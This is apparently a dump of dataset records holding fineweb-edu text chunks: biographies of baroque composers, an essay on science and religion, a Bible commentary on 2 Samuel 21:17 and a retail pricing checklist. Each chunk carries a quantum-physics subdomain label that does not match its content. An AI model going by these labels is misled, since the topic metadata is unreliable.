italian pastoral opera with the french ballet du cour. in 1672 he acquired the license for the academie de musique, and a series of highly restrictive patents gave him a total monopoly on the use of music on the french stage. lully even persuaded the king to limit the number of singers and instrumentalists that could perform with other parisian theater troupes. the apotheosis of lully \u2019 s style was the tragedie - lyrique, a french opera in five acts incorporating ballet, chorus and lavish sets. the magnificence of these productions reflected the way of life in louis xiv \u2019 s court perfectly. machines that made angels fly and ships tackle the stormy seas transformed the performances unparalleled spectacles, and philippe quinault \u2019 s librettos disseminated the latest currents in royal thought and praise for the french nation. marc - antoine charpentier ( 1645 \u2013 1704 ) : believed to be from a family of royal painters, charpentier studied with carissimi in rome in the 1660s before returning to paris around 1670. in addition to his position as maitre de musique at the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.422951533248771, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.474444"} {"text": "the identity of \u201c french opera. \u201d in addition to serving as the maitre de musique at the home of the financier la poupliniere from about 1735 until 1753, rameau began work at court as the king \u2019 s compositeur de la musique in 1745 and collaborated on several projects with voltaire. in the final decade of his life, rameau focused more on theory than on actual composition, corresponding with other important music theorists including johann mattheson. his ideas about harmony, particularly the notion that every chord has a basse fondamentale ( root note ) that preserves the identity of the chord even when its notes are reordered, form the basis of modern theories of tonality. upon rameau \u2019 s death in 1764, over 1500 people attended his memorial service, which featured over 180 musicians performing excerpts from his operas. michael praetorius ( 1571 \u2013 1621 ) : a student of martin luther, praetorius was theorganist at the marienkirche in frankfurt before he became the organist ( 1603 ) and kapellmeister ( 1604 ) at the court in wolfenbuttel. his post necessitated a great deal of travel, which allowed him to advertise his talents as a conductor, organist and knowledgeable expert on practical music and on musical instruments. an extremely prolific composer of lutheran church music, praetorius \u2019 s magnum opus is the 9 - volume musae sioniae, which contains over a thousand chorale and song settings. his only surviving secular work is terpsichore, a set of 312 dances. in addition to his music, praetorius provided an invaluable reference for researchers in the form of his three volume syntagma musicum ( 1619 ), a detailed compendium of observations on contemporary german music, musical instruments and performance. johann hermann schein ( 1586 \u2013 1630 ) : after studies in music and in law, schein held positions as house music director at schloss weissenfels and kapellmeister to duke johann ernst the younger at weimar before succeeding calvisius in 1616 as music director and cantor at the thomaskirche in leipzig, a position j. s. bach was to hold over a century later. schein was one of the major figures in the development of the sacred concerto, one of the genres that fueled bach \u2019 s lutheran cantatas, and also composed many spiritual madrigals, motets, songs, dance suites and chorale harmonizations. although", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4656967597903493, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.476631"} {"text": "one of the major figures in the development of the sacred concerto, one of the genres that fueled bach \u2019 s lutheran cantatas, and also composed many spiritual madrigals, motets, songs, dance suites and chorale harmonizations. although his early compositions favor the complex polyphony of the sixteenth century, he quickly abandoned this style in favor of the more modern trend toward emotional declamation and dramatic contrast, using them to great advantage in many of his sacred works. schein is also known for his friendships with scheidt and schutz. samuel scheidt ( 1587 \u2013 1653 ) : born in halle, scheidt studied music in amsterdam with the famous composer sweelinck. upon returning to halle, he became court organist and them kapellmeister to the margrave of brandenburg. unlike many other composers including schutz, scheidt stayed in halle during the thirty years \u2019 war, taking a series of smaller posts until the situation permitted him to return to his position as kapellmeister. scheidt worked with a number of other famous composers throughout his career, such as praetorius and schutz, and composed many volumes of sacred music that include sacred concertos and madrigals. he was also well known among his contemporaries for his instrumental music, particularly his chorale preludes and fantasias for keyboard. heinrich schutz ( 1585 \u2013 1672 ) : born in kostritz, schutz first studied music with his father, who was an innkeeper. in 1598, a guest at the inn \u2014 the landgrave moritz von hessen - kassel \u2014 heard the young boy sing, and was so taken with his talent that he asked schutz \u2019 s father if he could be in charge of his music education. in addition to his studies with the landgrave \u2019 s kapellmeister, schutz studied law at the university of marburg, graduating with honors in 1608. in 1609, the landgrave gave schutz a grant to travel to venice, where he studied composition with giovanni gabrieli until 1613. after a short stint as the landgrave \u2019 s organist, schutz became the court composer for the elector of saxony in dresden in 1615, where praetorius was also occasionally employed. schutz held this position for the rest of his career. during the thirty years \u2019 war, however, he studied briefly with claudio monteverdi in venice and served as kapellmeis", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4430254636948697, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.477615"} {"text": ", where praetorius was also occasionally employed. schutz held this position for the rest of his career. during the thirty years \u2019 war, however, he studied briefly with claudio monteverdi in venice and served as kapellmeister to king christian iv of denmark for several years. perhaps as a result of his studies in italy, schutz is sometimes credited with bringing the italianate style to germany. like monteverdi, schutz often made use of pungent dissonances to express the meaning of the text, and even employed special technical figures in analogy to or taken from classical rhetoric. his two trips to italy yielded collections of music that show his assimilation of the italian style, especially his il primo libro de madrigali ( 1611 ), dedicated to the landgrave and displaying the results of his studies with gabrieli, and the symphoniae sacrae ( 1629 ), which were published at the end of his time in venice. in 1627 schutz also produced the first german opera, dafne, the music of which no longer exists. he is best known for his sacred vocal music, however, particularly his three books of symphoniae sacrae, the psalms of david, the sieben worte jesu christi am kreuz ( the seven last words on the cross ) and his three passion settings, which were composed shortly before the end of his life. georg philipp telemann ( 1681 \u2013 1767 ) : born in magdeburg in 1681, telemann came from a family long connected with the lutheran church : his father was a clergyman, his mother the daughter of a clergyman and his elder brother also followed in the family \u2019 s footsteps. telemann \u2019 s destiny lay elsewhere, however. by the age of 10, he was proficient on the violin, flute, keyboard and zither, and even wrote an opera, sigismundus, at twelve. her son \u2019 s ever - increasing interest in music worried his mother, who confiscated his instruments and forced him to take up the study of jurisprudence. according to telemann, however, on the way to leipzig university he met none other than \u201c herr georg friedrich handel, who was already of some importance even in those days. \u201d this encounter was the start of a long friendship between the two men, who exchanged letters throughout their lifetimes. ( on several occasions, handel even sent telemann, an amateur botanist, \u201c botanical curiosities \u201d from london ). telemann tried to keep his", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4377480842721192, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.481076"} {"text": "the start of a long friendship between the two men, who exchanged letters throughout their lifetimes. ( on several occasions, handel even sent telemann, an amateur botanist, \u201c botanical curiosities \u201d from london ). telemann tried to keep his passion for music a secret, but he was sorely tempted \u201c to drink music \u2019 s philtre, \u201d as he put it \u2014 and drink he finally did. one day, his roommate \u201c accidentally \u201d came across the score of telemann ' s setting of the sixth psalm and arranged for a performance in st. thomas ' s church the following sunday. the work was so successful that the burgomaster of leipzig commissioned him to write a new piece for the choir of st. thomas every fortnight. telemann the composer was born. in 1702, telemann took his first official job in music as the director of leipzig \u2019 s opera house and one of its churches. his growing reputation in leipzig angered kuhnau, the city \u2019 s music director and bach \u2019 s predecessor, who was particularly unhappy that student musicians seemed more interested in working with telemann on opera productions than in participating in church music. in 1705, telemann left leipzig to become kapellmeister to the cosmopolitan court of count erdmann ii of promnitz at sorau ), where the vogue for the french and italian style broadened telemann \u2019 s musical horizons. he became well acquainted with the music of lully and campra, composing close to 200 ouvertures and suites during his sixteen years in the position. after briefly overlapping with bach in eisenach and working in several other cities, telemann was offered the hamburg johanneum in 1721, a post that entailed the directorship of the city \u2019 s five principal churches as well as teaching responsibilities. he remained at hamburg for the rest of his life, and was succeeded in the post by his godson, carl phillipp emmanuel bach. during his lifetime, telemann enjoyed a fame that far surpassed that of his contemporary, j. s. bach. not only was he considered to be the better musician \u2014 and was compensated accordingly with a salary in hamburg at least three times larger than bach \u2019 s in leipzig \u2013 but by all accounts he was well liked, admired for his driving ambition, impressive talent and excellent sense of humor. often called the most prolific composer in history, telemann \u2019 s surviving repertoire is massive, including 1043 church cantatas, 46 passions and many operas. he also composed a large amount of instrumental music ; in", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.421365425745429, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.483367"} {"text": "impressive talent and excellent sense of humor. often called the most prolific composer in history, telemann \u2019 s surviving repertoire is massive, including 1043 church cantatas, 46 passions and many operas. he also composed a large amount of instrumental music ; in an autobiographical article from 1740, telemann estimated that he had written 600 suites, about a quarter of which are extant today. one of his most ambitious was the three - installment tafelmusik ( table music ), on whose list of subscribers was \u201c mr. hendel, docteur en musique, londres. \u201d george frideric handel ( 1685 \u2013 1759 ) : like his friend telemann, george frideric handel showed a great deal of musical promise during his childhood in halle, but was initially encouraged to study law instead. although he entered the university of halle in 1702, he left a year later to become a violinist in the opera house at hamburg. it was in this city that his first two operas, almira and nero, were produced in 1705, followed by daphne and florindo in 1708. handel then traveled to italy, premiering rodrigo ( 1707 ) in florence and agrippina ( 1708 ) in venice, where he may also have met vivaldi. in rome he studied with corelli, and performed la resurrezione ( 1709 ) and il trionfo del tempo ( 1710 ). early in 1710, handel left italy to become kapellmeister to the elector of hanover, george louis, who became king george i of england in 1714. handel moved to london in 1712, where he remained for the rest of his life. handel arrived in london as a famous opera composer, but english audiences proved resistant to the genre \u2019 s charms. by the early 1730s, the assaults of critics and the notoriously lascivious lifestyles of the singers had worn down london audiences, and handel needed to find a new medium for his art. the oratorio was the perfect solution. english oratorios were similar to opera in their use of recitative and aria, but were rarely staged, and were based on stories from the bible in the vernacular. handel \u2019 s addition of the chorus also resonated with london audiences, who were steeped in the english tradition of anthem - singing. ultimately, the english oratorio cemented handel \u2019 s reputation forever \u2014 and works such as messiah, judas maccabeus and israel in egypt are still tremendously popular today. in addition to his operas, oratorios", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4095668821854913, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.484375"} {"text": "anthem - singing. ultimately, the english oratorio cemented handel \u2019 s reputation forever \u2014 and works such as messiah, judas maccabeus and israel in egypt are still tremendously popular today. in addition to his operas, oratorios and well known coronation anthems, written for the coronation of george ii, handel composed a great deal of instrumental music still performed today. some of the most famous were composed for royal occasions, including water music, written for concerts on the thames, and music for royal fireworks. others were published for purchase by subscription, like the op. 6 concerti grossi, based on the op. 6 collection of corelli. after becoming blind in 1751, handel died eight years later in london. he is buried in westminster abbey. johann sebastian bach ( 1685 \u2013 1750 ) : like many composers born into a musical family, johann sebastian bach received his earliest instruction from his father in eisenach. after his father \u2019 s death in 1695, bach studied in ohrdruf with his brother, johann christoph, and also attended schools in eisenach, ohrdruf, and luneburg. in 1703, bach attained his first post as organist in arnstadt, where he stayed until 1707, followed by a year as organist in muhlhausen. from 1708 to 1717 bach worked for duke wilhelm ernst of weimar, first as court organist, and after 1714, as kapellmeister. many of his organ compositions were written during this period, including the orgelbuchlein, as well as some of his cantatas. while in weimar, bach also came into contact with a great deal of italian music, and was particularly influenced by vivaldi \u2019 s concertos. bach embarked on the next phase of his career in 1717, when he became the music director for the prince leopold of cothen ( 1717 \u2013 1723 ). since the court chapel was calvinist ( a religion that did not use elaborate music in its services ), bach composed a great deal of instrumental music during this time, including the brandenburg concertos, the suites for solo cello, the sonatas and partitas for solo violin, the first volume of das wohltemperirte clavier ( the well - tempered clavier ) and the orchestral suites. while there was no need for sacred vocal music, bach also composed a few cantatas to commemorate special events at court. in 1723, bach was appointed music director and cantor at the thomaskirche in leipzig, a position he was to hold for the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4105736740163814, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.485407"} {"text": "while there was no need for sacred vocal music, bach also composed a few cantatas to commemorate special events at court. in 1723, bach was appointed music director and cantor at the thomaskirche in leipzig, a position he was to hold for the rest of his career. ( bach was actually the second choice for the position, as the more famous telemann had already refused the job ). his official duties were immense, requiring him to oversee the music in the city \u2019 s four main churches, teach and provide music for municipal occasions. during his first six years in leipzig, bach composed four cycles of cantatas and the st. john and st. matthew passions. by 1729, bach had amassed a large repertoire of music for services in leipzig, and was able to turn his attentions elsewhere. from 1729 to 1737 ( and again from 1739 to 1741 ), bach served as the director of the leipzig collegium musicum, a group of professional musicians and university students founded by telemann in 1704. in addition to reviving many compositions from cothen for the collegium \u2019 s weekly concerts, many of bach \u2019 s secular cantatas from this time were probably composed for the group. bach also published a number of more abstract, erudite works for publication, particuarly the four volumes entitled clavier - ubung ( keyboard practice ), which hold the six partitas for keyboard ( vol. i ), the italian concerto, the french overture ( vol. ii ) and the goldberg variations ( vol. iv ) ; another late work along similar lines is the unfinished die kunst der fuge ( the art of fugue ). although he was famous during his lifetime, bach \u2019 s contemporaries had all but dismissed him as old - fashioned by the time of his death in 1750. according to anecdotal evidence, his music was still respected ; mozart and beethoven both reportedly studied his compositions. the true revival of bach \u2019 s works began in 1829, however, when felix mendelssohn conducted a famous performance of the st. matthew passion in berlin. after hearing the performance, hegel called bach a \u201c grand, truly protestant, robust and, so to speak, erudite genius which we have only recently learned again to appreciate at its full value. \u201d mendelssohn \u2019 s efforts to promote bach \u2019 s music continued, and eventually led to the founding of the bach gesellschaft ( bach society ), an organization devoted exclusively to promoting his works. henry purcell ( 1659 \u2013 1695 ) : as the son", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.41271202216410957, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.486366"} {"text": "mendelssohn \u2019 s efforts to promote bach \u2019 s music continued, and eventually led to the founding of the bach gesellschaft ( bach society ), an organization devoted exclusively to promoting his works. henry purcell ( 1659 \u2013 1695 ) : as the son of a musician at court, a chorister at the chapel royal and a composer for three different kings, henry purcell spent his entire life in westminster. after showing a proclivity for music at a young age, purcell may have studied with john blow in the chapel royal. 18th century historian charles burney questioned the extent of the tutelage, however, writing that \u201c \u2026 he had a few lessons from dr. blow, which were sufficient to cancel all the instructions he had received from other masters, and to occasion the boast inscribed on the tomb - stone of blow, that he had been \u2018 master to the famous mr. henry purcell \u2019. \u201d as part of his royal duties, purcell was expected to write music to celebrate special occasions, such as the birthday ode for queen mary entitled \u201c come ye sons of art, away. \u201d although italian opera had not yet caught on in england, purcell composed a number of \u201c semi - operas, \u201d such as king arthur ( 1691 ) and the fairy queen ( 1692 ), and the only through - sung english opera of the seventeenth century, dido and aeneas ( 1689 ). purcell also wrote a large amount of incidental music for the theater, which his widow published posthumously as a collection of ayres, compos ' d for the theatre, and upon other occasions ( 1697 ). in addition to his activities at court and in the theater, purcell was also involved with the advent of public concerts in london, and composed harpsichord suites and trio sonatas for performance at these events. in 1683, a group of amateur and professional musicians started a \u201c musical society \u201d to celebrate the festival of st. cecilia, \u201c a great patroness of music, \u201d on november 22. purcell composed three odes for the society. upon his premature passing in 1695, \u201c the english orpheus \u201d was buried adjacent to the organ in westminster abbey.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.41095697932155933, "token_count": 433, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.487439"} {"text": "the french and american revolutions were followed by a period of counter - revolution, during which also the conservative and dogmatic western european protestant and reformed state churches tried to restrict the freedom of speech in the areas that were under their control. on the other hand the economic development had by then already gained all new kind of momentum from the intellectual opening up of that happened in the 17th and 18th centuries. economic progress did slowly create a new kind of wealthy middle class that had the interest and but most importantly the means to educate themselves and their children. the age of enlightenment brought to the forefront the ancient greek ideas of democracy and the freedom of the individual. the books containing these revolutionary ideas were now translated and published widely in the western europe. these ideas got a warm reception from the emerging new middle class, who were searching for a way for making themselves heard in the feudally ruled world. the ensuing emergence of modern science pushed the economic development to new heights in the western europe. the increasingly wealthy and more and more educated middle class was soon growing steadily. this development was intensified in the northern parts of europe by the fact that in the end also many of the leaders of the protestant state churches were soon convinced of the growing importance of science. accordingly they did not mostly even try interfere with its rise, even if the catholic church still tried to do it in the countries that were still under its sway. the practical implications of science and the economic growth that followed from its use to solve more and more practical and technical problems did eventually spread even to the catholic world. also there the intellectual supremacy of the church was eroded little by little by the slow but inevitable strengthening of the secular parts of the society. so, the secular power of the christian churches was diminishing on all fronts of life. it was the more so, as the new findings of science did show clearly the true allegorical and fantastic nature of a increasing number of biblical \u201c truths \u201d. uncomfortable co - existence was, however, possible as long as science did not confront religion straight on. it was charles darwin who finally really challenged the christian religion and its central teachings head - on with his revolutionary idea of evolution. evolution is simply in no way compatible with the teachings of the christian faith and the story of creation presented in the bible. this was finally a situation that could not be bypassed easily. however, the world had by this stage been changed up to a point where it was impossible to put the genie back to the bottle. members of the society could with their own eyes easily see the concrete benefits that the advent", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5184154898285279, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.491007"} {"text": "could not be bypassed easily. however, the world had by this stage been changed up to a point where it was impossible to put the genie back to the bottle. members of the society could with their own eyes easily see the concrete benefits that the advent of science was giving them. the church simply could not challenge science anymore in western europe with any kind hope of lasting success, at least. the western christian churches did of course condemn darwin and his dangerous ideas with strong words and there is still a widespread resistance among truly believing christian against his findings for a very good reason. charles darwin did solve one of the greatest unsolved scientific mystery there was left at that time ; where did humanity come from. not having a clear answer to this difficult and important question did for example lead to a situation where many of the founding fathers of the united stated were deists or believers in divine explanation of the existence of universe, but where there is no personal god that has any interest in matters of human beings. after darwin up to that point common deism did disappear and was largely replaced by free - thinking and later atheism and agnosticism. science now could finally provide most of the really important answers which had up to this time been explained with religious myths. after darwin the western christian protestant churches started their involuntary trek to their modern form, where they, in fact, do not try to impose their religious ideas to the whole of society anymore. these religious organizations do not claim to be originators and carriers of all human wisdom anymore. they are mere givers of comfort and givers of a haven to those people who do not dare to face the real world as it is, which can of course be only a good thing. ( this little essay was refurbished on 22th of april, 2012 )", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4912941609811824, "token_count": 359, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.491693"} {"text": "| new international version ( \u00a9 2011 ) | but abishai son of zeruiah came to david ' s rescue ; he struck the philistine down and killed him. then david ' s men swore to him, saying, \" never again will you go out with us to battle, so that the lamp of israel will not be extinguished. \" king james bible but abishai the son of zeruiah succoured him, and smote the philistine, and killed him. then the men of david sware unto him, saying, thou shalt go no more out with us to battle, that thou quench not the light of israel. american standard version but abishai the son of zeruiah succored him, and smote the philistine, and killed him. then the men of david sware unto him, saying, thou shalt go no more out with us to battle, that thou quench not the lamp of israel. young ' s literal translation and abishai son of zeruiah giveth help to him, and smiteth the philistine, and putteth him to death ; then swear the men of david to him, saying, ' thou dost not go out again with us to battle, nor quench the lamp of israel. ' 2 samuel 21 : 17 additional translationsclarke ' s commentary on the bible that thou quench not the light of israel - david is here considered as the lamp by which all israel was guided, and without whom all the nation must be involved in darkness. the lamp is the emblem of direction and support. light is used in this sense by homer : - \u03bf\u03c5\u03b4\u03b5 \u03c4\u03b9 \u03c0\u03b1\u03c4\u03c1\u03bf\u03ba\u03bb\u03c9 \u03b3\u03b5\u03bd\u03bf\u03bc\u03b7\u03bd \u03c6\u03b1\u03bf\u03c2, \u03b1\u03c5\u03b4 ' \u03b5\u03c4\u03b1\u03c1\u03bf\u03b9\u03c3\u03b9 \u03c4\u03bf\u03b9\u03c2 \u03b1\u03bb\u03bb\u03bf\u03b9\u03c2, \u03bf\u03b9 \u03b4\u03b7 \u03c0\u03bf\u03bb\u03b5\u03b5\u03c2 \u03b4\u03b1\u03bc\u03b5\u03bd \u03b5\u03ba\u03c4\u03bf\u03c1\u03b9 \u03b4\u03b9\u03c9. iliad, lib. xviii. ver. 102. \" i have neither been a light to patroclus nor to his companions, who have been slain by the noble hector. \" treasury of scripture knowledge 2 samuel 20 : 6 - 10 and david said to abishai, now shall sheba the son of bichri do us more harm than did absalom : take you your lord ' s servants... 2 samuel 22 : 19 they prevented me", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4615916363159646, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.497780"} {"text": ": 6 - 10 and david said to abishai, now shall sheba the son of bichri do us more harm than did absalom : take you your lord ' s servants... 2 samuel 22 : 19 they prevented me in the day of my calamity : but the lord was my stay. psalm 46 : 1 god is our refuge and strength, a very present help in trouble. psalm 144 : 10 it is he that gives salvation to kings : who delivers david his servant from the hurtful sword. 2 samuel 18 : 3 but the people answered, you shall not go forth : for if we flee away, they will not care for us ; neither if half of us die... 2 samuel 14 : 7 and, behold, the whole family is risen against your handmaid, and they said, deliver him that smote his brother, that we may kill him... 1 kings 11 : 36 and to his son will i give one tribe, that david my servant may have a light always before me in jerusalem... 1 kings 15 : 4 nevertheless for david ' s sake did the lord his god give him a lamp in jerusalem, to set up his son after him... psalm 132 : 17 there will i make the horn of david to bud : i have ordained a lamp for my anointed. john 1 : 8, 9 he was not that light, but was sent to bear witness of that light... john 5 : 35 he was a burning and a shining light : and you were willing for a season to rejoice in his light. light [ heb ] candle, or lamp 2 samuel 21 : 17 parallel commentariesabishai battle david extinguish helped israel killed lamp mayest philistine quench smote struck succored succoured sware swore zeruiahabishai battle david extinguish helped israel killed lamp mayest philistine quench smote struck succored succoured sware swore zeruiahthe holy bible, new international version\u00ae, niv\u00ae copyright \u00a9 1973, 1978, 1984, 2011 by biblica\u00ae. 2 samuel 21 : 17 mobile bible 2 samuel 21 : 17 bible suite 2 samuel 21 : 17 biblia paralela 2 samuel 21 : 17 chinese bible john 5 : 35 john was a lamp that burned and gave light, and you chose for a time to enjoy his light. 2 samuel 18 : 3 but the men said, \" you must not go", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4611264036798066, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.498668"} {"text": "paralela 2 samuel 21 : 17 chinese bible john 5 : 35 john was a lamp that burned and gave light, and you chose for a time to enjoy his light. 2 samuel 18 : 3 but the men said, \" you must not go out ; if we are forced to flee, they won ' t care about us. even if half of us die, they won ' t care ; but you are worth ten thousand of us. it would be better now for you to give us support from the city. \" 2 samuel 20 : 6 david said to abishai, \" now sheba son of bikri will do us more harm than absalom did. take your master ' s men and pursue him, or he will find fortified cities and escape from us. \" 2 samuel 22 : 29 you, lord, are my lamp ; the lord turns my darkness into light. 1 kings 15 : 4 nevertheless, for david ' s sake the lord his god gave him a lamp in jerusalem by raising up a son to succeed him and by making jerusalem strong. jeremiah 40 : 15 then johanan son of kareah said privately to gedaliah in mizpah, \" let me go and kill ishmael son of nethaniah, and no one will know it. why should he take your life and cause all the jews who are gathered around you to be scattered and the remnant of judah to perish? \"", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4473947222503162, "token_count": 291, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.499174"} {"text": "this setting prices in a retail store guide is a checklist for the owner - manager of a retail business. these 51 questions probe the consideration - from markup to pricing strategy to adjustments - that lead to correct set prices decisions. you can use this checklist to establish setting prices in your new store, or you can use it to periodically review your established pricing policy. a retailer ' s set prices influence the quantities of various items that consumers will buy, which in turn affects total revenue and profit. hence, correct setting prices decisions are a key to successful retail management. with this in mind, the following checklist of 52 questions has been developed to assist retailers in making systematic, informed decisions regarding pricing strategies and tactics. this checklist should be especially useful to a new retailer who is making pricing decisions for the first time. however, established retailers, including successful ones, can also benefit from this guide. they may use it as a reminder of all the individual pricing decisions they should review periodically. and, it may also be used in training new employees who will have pricing authority. the central concept of setting prices a major step toward making a profit in retailing is selling merchandise for more than it cost you. this difference between cost of merchandise and retail price is called markup ( or occasionally markon ). from an arithmetic standpoint, markup is calculated as follows : dollar markup = retail price - cost of the merchandise. percentage markup = if an item cost $ 6. 50 and you feel consumers will buy it at $ 10. 00, the dollar markup is $ 3. 50 ( which is $ 10. 00 - $ 6. 59 ). going one step further, the percentage markup is 35 percent ( which is $ 3. 50 divided by $ 10. 00 ). anyone involved in retail pricing should be as knowledgeable about formulas as about the name and preferences of his or her best customer! two other key points about markup should be mentioned. first, the cost of merchandise used in calculating markup consists of the base invoice for the merchandise plus any transportation charges minus any quantity and cash discounts given by the seller. second, retail price, rather than cost, is ordinarily used in calculating percentage markup. the reason for this is that when other operating figures such as wages, advertising expenses, and profits are expressed as a percentage, all are being based on retail price rather than cost of the merchandise being sold. target consumers and the retailing mix in this section, your attention is directed to", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43571048895761655, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.510045"} {"text": "other operating figures such as wages, advertising expenses, and profits are expressed as a percentage, all are being based on retail price rather than cost of the merchandise being sold. target consumers and the retailing mix in this section, your attention is directed to price as it relates to your potential customers. these questions examine your merchandise, location, promotion, and customer services that will be combined with price in attempting to satisfy customers and make a profit. after some questions, brief commentary is provided. 1. is the relative price of this item very important to your target consumers? the importance of setting prices depends on the specific product and on the specific individual. some shoppers are very price conscious. others want convenience and knowledgeable sales personnel. because of these variations, you need to learn about your customers ' desires in relation to different products. having sales personnel seek feedback from shoppers is a good starting point. 2. are set prices based on estimates of the number of units that consumers will demand at various price levels? demand - orientated pricing such as this is superior to cost - orientated pricing. in the cost approach, a predetermined amount is added to the cost of the merchandise, whereas the demand approach considers what consumers are willing to pay. 3. have you established a price range for the product? the cost of merchandise will be at one end of the price range and the level above which consumers will not buy the product at the other end. 4. have you considered what price strategies would be compatible with your store ' s total retailing mix that includes merchandise, location, promotion, and services 5. will trade - ins be accepted as part of the purchase price on items such as appliances and television sets? this set of questions looks outside your firm to two factors that you cannot directly control - suppliers and competitors. 6. do you have final pricing authority? with the repeal of fair trade laws, \" yes \" answers will be more common than in previous years. still, a supplier can control retail prices by refusing to deal with non - conforming stores ( a tactic which may be illegal ) or by selling to you on consignment. 7. do you know what direct competitors are doing price - wise? 8. do you regularly review competitor ' s ads to obtain information on their prices? 9. is your store large enough to employ either a full - time or a part - time comparison shopper? these three questions emphasize the point that you must watch competitors ' prices so that your prices will not be far out of line -", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4381396405614432, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.511052"} {"text": "prices? 9. is your store large enough to employ either a full - time or a part - time comparison shopper? these three questions emphasize the point that you must watch competitors ' prices so that your prices will not be far out of line - too high or too low - without good reason. of, course, there may be a good reason for the out - of - the - ordinary prices, such as seeking a special price image. a price level strategy selecting a general level of prices in relation to competition is a key strategic decision, perhaps the most important. 10. should your overall strategy be to sell at prevailing market price levels? the other alternatives are an above - the - market strategy or a below - the - market strategy. 11. should competitor ' s temporary price reductions ever be matched? 12. could private - brand merchandise be obtained in order to avoid direct price competition? calculating planned initial markup in setting prices in this section you will have to look inside your business, taking into account sales, expenses, and profits before setting prices. the point is that your initial markup must be large enough to cover anticipated expenses and reductions and still produce a satisfactory profit. 13. have you estimated sales, operating expenses, and reductions for the next selling season? 14. have you established a profit objective for the next selling season 15. given estimated sales, expenses, and reductions, have you planned initial markup? this figure is calculated with the following formula : initial markup percentage = operating expenses + reductions + profit net sales + reductions reductions consist of markdowns, stock shortages, and employee and customer discounts. the following example uses dollar amounts, but the estimates can also be percentages, and if the retailer desires a $ 4, 000 profit, initial markup percentage can be calculated : initial markup percentage = $ 34, 000 + $ 6, 000 + $ 4, 000 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ = 44 % $ 94, 000 + $ 6, 000 the resulting figure, 44 percent in this example, indicates what size markup is needed on the average in order to make the desired profits. 16 would it be appropriate to have different initial markup figures for various lines of merchandise or service? you would seriously consider this when some lines have much different characteristics than others. for instance, a clothing retailer might logically have different initial markup figures for suits, shirts, and pants, and accessories. ( various merchandise characteristics", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45675049282868185, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.513346"} {"text": "of merchandise or service? you would seriously consider this when some lines have much different characteristics than others. for instance, a clothing retailer might logically have different initial markup figures for suits, shirts, and pants, and accessories. ( various merchandise characteristics are covered in an upcoming section. ) you may want those items with the highest turnover rates to carry the lowest initial markup. set prices store policies having calculated an initial markup figure, you could proceed to set prices on your merchandise. but an important decision such as this should not be rushed. instead, you should consider additional factors which suggest what would be the best price. policies are written guidelines indicating appropriate methods or actions in different methods or actions in different situations. if established with care, they can save you time in decision making and provide for consistent treatment of shoppers. specific policy areas that you should consider are as follows : 18. will a one - price system, under which the same price is charged every purchaser of a particular item, be used on all items? the alternative is to negotiate price with consumers 19. will odd - ending prices such as $ 1. 98 and $ 44. 95, be more appealing to your customers than never - ending price 20. will consumers buy more if multiple pricing, such as 2 for $ 8. 50, is used? 21. 